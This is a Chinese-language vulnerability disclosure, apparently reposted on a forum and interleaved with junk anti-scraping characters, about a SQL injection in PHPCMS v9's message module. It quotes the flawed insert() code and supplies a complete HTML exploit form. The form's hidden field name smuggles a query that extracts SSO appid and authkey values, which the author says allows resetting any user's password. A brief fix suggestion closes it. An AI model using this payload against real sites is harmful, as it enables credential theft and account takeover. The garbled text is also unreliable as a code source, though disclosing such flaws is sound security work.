|
|
简要描述:/ Z' `! |6 J! Z2 f
v+ B! i+ J; s+ Z& h9 C6 I
第二发如约来到,感谢大家的关注,在第二发中使用了一个无限制的SQL注射,最终目的可以修改任意用户密码,建议确认安全危害等级为高。6 e" |% p/ h, e! e
! X3 D7 T# m3 b6 r明天再更新下一个漏洞。
8 S ~6 F2 y7 U6 W3 V+ C详细说明:
/ ^- o$ c6 I- ^$ M$ j在/phpcms9/phpcms/modules/message/index.php中有代码如下:& D5 u; e7 Z/ I7 q
$ L" N2 i! F" d$messageid = $this->message_db->insert($_POST['info'],true);: }8 Q4 d( m; s2 d8 @" E" F
@9 W8 z8 G% M6 X$ o8 N1 M. ^
( ]7 F# {0 q& |7 \7 `5 [, Dinsert方法是key value的,代码如下:
3 I3 j: W. L' e6 ?/ V0 C
" A& y7 e( @% X! Q* `" vpublic function insert($data, $table, $return_insert_id = false, $replace = false) {/ H1 L' A' g1 R5 F5 h
if(!is_array( $data ) || $table == '' || count($data) == 0) {9 u# X0 A# L5 Y
return false;
, v9 K( H1 E; b# x# M- z }
8 _6 D, t$ L- u5 |5 k4 k. k
( B, @2 ^: L+ X$ p $fielddata = array_keys($data);- k+ |* |. g5 ~" Y( z
$valuedata = array_values($data);
C. R8 U1 a/ t array_walk($fielddata, array($this, 'add_special_char'));9 }/ h1 b2 y8 Q2 ~2 q& W
array_walk($valuedata, array($this, 'escape_string'));
4 n$ G+ U. d; G
- n9 o( z* E( `7 {8 h1 A, [+ Q $field = implode (',', $fielddata);4 c" }; i$ D7 L; p$ v) r% w
$value = implode (',', $valuedata);
3 b- v4 Q/ P6 M; i8 C- M* G' s& d: [
$cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
9 `3 l G/ Z$ H/ b, I' O0 ^4 H $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';- a* F. [+ _7 W6 F
$return = $this->execute($sql);
r. D0 z$ z& X8 v# G$ F return $return_insert_id ? $this->insert_id() : $return;, Z- |& q+ U4 ~% |& d2 \- \4 n
}
! N6 |# K. x* K
+ C, S) E1 e8 ]. T: f/ W. T' o; E' o2 s6 s
嗯,很遗憾的是
b6 T2 b$ j: s4 @. _
$ R6 c, F9 X7 D/ [, s/ B. Oarray_walk($fielddata, array($this, 'add_special_char'));1 ?8 c6 N3 K5 G; j
6 O* z, Y# b1 n/ Z" U
# Y7 [4 z0 Y: ^. O G9 J
中并没有对key做任何的过滤,所以,第一段提到的代码导致了一个SQL注射漏洞 :(。- p3 H! u5 P6 b/ t
7 x& t, ]0 V& |% s, ^, v4 N到此,为了poc一下,我读取了我本地的authkey,接下来我已经可以重置任意用户密码了,后面的事情我就没有演示了。
; J. [5 q$ t* a3 J. E! V1 p6 _
) x1 f, J4 |4 N漏洞证明:
+ X* X" u# s5 s; L. T读出了phpsso_server的appid和authkey,然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
3 J2 k" y( d% S' I! Q* ^: m3 J# H7 f+ y B9 P% h4 S" V+ R3 O" N
; y3 a2 R: B: h% J5 ~8 V
表单如下:用户名什么的得自己改一改。
5 ~9 i, v# H- l- W5 g0 J/ J<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">5 m4 t9 @' {; a# ~. ~
<table width="100%" cellspacing="0" class="table_form">
2 v* |1 F1 \( J+ t9 H# i5 y<tr>: I; |) z' U2 O0 S+ U
<th>标 题:</th>
0 O: d- I2 y; @% L5 |7 Y" X<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh" class="input-text"/></td>
3 N, u7 h2 m( b</tr> 5 o7 d/ j/ a4 Z
<tr>. f4 f- Q2 E3 f5 h" f1 {) O
<th>内 容:</th>
+ g. n4 V, }# u3 v- [<td><textarea name="info[content]" id="con" rows="5" cols="50"></textarea></td>
- F2 K0 _6 g( v G</tr>7 b' P4 T( z2 [ N
<input type="hidden" name="info[replyid]" value="2" /> . ?1 c# G3 I& ?7 {3 a
<input type="hidden" name="info[send_to_id]" value="cc" /> * }. O& x$ F; O; d& y
<input type="hidden" name="info[send_from_id]" value="hh">! \. j R! P, q( k* e
<!-- 漏洞的利用重点在这里开始 -->
; r: M4 v+ Q6 O<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" /> % G% f+ d. I- G6 ?5 |. `) ]
<!-- 漏洞的利用重点在这里结束 -->2 r+ p. U Y. c. n4 w$ W$ W0 m
<tr>8 s5 N( B- I5 H* i2 @- Z% {6 G
<th>验证码:</th>7 Q" Y7 K+ Q6 T! e- N4 T6 m, Q) h
<td><input name="code" type="text" id="code" size="10" class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>) ~6 s3 ?8 A9 H1 v( p- I5 `+ o. m
</tr>
( [% p8 P) X) L3 J6 L<tr>
0 s0 z) ~ E) p% i8 n7 I<td></td>' t7 P" v* _) `+ v
<td colspan="2"><label>% c' j! s! Q' h B U
<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>1 f$ n( }" f+ h4 r0 S' I' y4 V
</label></td>
% F/ S9 @, l. h7 U' M& m6 w9 \</tr>- u" C# } B2 `2 }, r* W5 c& [; p
</table>+ l" _! i, [" v# R
</form>. ?. B( L3 r' c3 @
在add_special_char函数内对key做过滤就可以了。
0 @# d5 w" k. k' \. I( U4 y( O3 C& h* b, b+ t6 B
* L" w/ {4 ?5 T _ c' p
' x$ \! \+ `- U' q
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?立即注册
x
|